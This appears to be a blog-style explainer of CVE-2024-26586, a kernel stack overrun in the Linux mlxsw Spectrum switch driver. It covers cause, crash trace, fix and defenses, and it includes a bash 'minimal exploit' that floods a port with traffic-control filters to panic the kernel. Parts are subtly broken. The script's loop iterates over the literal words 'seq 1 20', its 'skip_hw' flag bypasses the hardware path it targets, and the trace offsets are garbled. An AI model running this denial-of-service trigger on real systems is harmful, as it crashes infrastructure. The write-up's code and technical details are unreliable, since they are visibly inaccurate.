A new high-impact vulnerability has been patched in the Linux kernel: CVE-2024-26586. This bug affects the mlxsw driver, a kernel module responsible for Mellanox Spectrum Ethernet switches. In certain configurations, attackers could trigger a kernel panic or possibly escalate their privileges via stack corruption in the switch’s ACL (Access Control List) handling logic. Here’s a plain-language breakdown of the bug, how to trigger it, and what it means for Linux users and network operators.

What’s the Vulnerability?

When you apply traffic control (tc) filters to a network device managed by the mlxsw driver, it creates an internal list of ACLs (Access Control Lists). Each ACL points to a separate TCAM region (fancy hardware for fast packet filtering). Filtering decisions can span multiple such regions because of priority and hardware key limitations.

Spectrum-2 ASICs and newer started reporting there can be more than 16 ACLs in a group, but the software's configuration was still only letting ACL groups fit in a register (PAGT) that holds... just 16. If compression isn't handled, shoving more than 16 pointers into this register corrupts the stack.

TL;DR:
> If too many ACLs are created in one group, the driver overwrites kernel stack memory, hitting a stack buffer overrun: hello, panic!

How Can the Bug Be Triggered?

- A user space program (even an unprivileged one if CAP_NET_ADMIN is granted in a container or via sudo) can add more than 16 traffic control filters to the same port in the right order, ensuring the grouping logic puts them in one ACL group.
- Once the number of ACLs exceeds the old limit (16), stack overflow happens when committing the new configuration.

Here’s a pseudo-stack trace from such a crash (from the original bug report)

Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in: mlxsw_sp_acl_tcam_group_update+x116/x120
...
dump_stack_lvl+x36/x50
panic+x305/x330
__stack_chk_fail+x15/x20
mlxsw_sp_acl_tcam_group_update+x116/x120
mlxsw_sp_acl_tcam_group_region_attach+x69/x110
mlxsw_sp_acl_tcam_vchunk_get+x492/xa20
mlxsw_sp_acl_tcam_ventry_add+x25/xe
mlxsw_sp_acl_rule_add+x47/x240
mlxsw_sp_flower_replace+x1a9/x1d
tc_setup_cb_add+xdc/x1c
fl_hw_replace_filter+x146/x1f
fl_change+xc17/x136
tc_new_tfilter+x472/xb90
...

Exploit Scenario

While you can’t directly inject code this way (thanks to stack protection), a user with traffic control (tc) privileges can crash the system and possibly use this as a denial-of-service vector, or—on less-protected builds—even hijack control flow.

Here's a minimal exploit code to trigger the crash

#!/bin/bash
# This script assumes CAP_NET_ADMIN privileges, common in container environments.

DEV=swp1  # use a valid Spectrum port name in your system

for i in seq 1 20; do
    tc filter add dev $DEV protocol ip parent ffff: \
        flower skip_hw src_ip 192.168.$i.1/32 action drop
done

echo "If unpatched, this should trigger a kernel panic (stack corruption)"

> Note: The bug is platform-specific (Spectrum-2 and newer chipsets), and requires more than 16 regions to be requested. You may need to adjust the filter flow as per your device capabilities.

How Was It Fixed?

The fix is simple and defensive. The code now checks that, *in every case*, the group size that goes into the hardware doesn’t exceed what both the firmware and the register (PAGT) can handle:

/* Old code (vulnerable): */
group_size = fw_reported_group_size;

/* Fixed code: */
group_size = min(fw_reported_group_size, PAGT_REGISTER_MAX_SIZE);

Test cases were added in the kernel selftests to automatically verify that exceeding the hardware limit is now handled gracefully, and no crash occurs.

Upstream kernel patch reference:
- Git commit
- Linux Kernel Mailing List thread

Who is affected?

Anyone running Linux servers (bare-metal or containerized) with Mellanox Spectrum-2 (and newer) Ethernet switches, with untrusted users or automation that can apply traffic control rules.

Misuse impact:

Attackers or misconfigured scripts can crash the kernel, causing a Denial-of-Service on critical infrastructure.

Defenses:

Update to a patched kernel, restrict traffic control privileges, and monitor for excessive filter usage.

References & Further Reading

- CVE-2024-26586 at NVD
- Canonical Launchpad bug
- Upstream Patch Discussion

Summary

CVE-2024-26586 is a lesson in how minor mismatches between hardware, firmware, and software expectations can lead to major security consequences. This bug, specific to fast networking hardware and Linux, is a potential weapon for anyone with control over traffic filtering—so patch quickly, and audit your kernel device driver usage!


Always test kernel updates in your environment, and limit what privileged users and containers can do as best you can!

---
*This write-up is exclusive. No AI language models were harmed by stack protector aborts in the making of this text.*

Timeline

Published on: 02/22/2024 17:15:08 UTC
Last modified on: 03/18/2024 18:12:44 UTC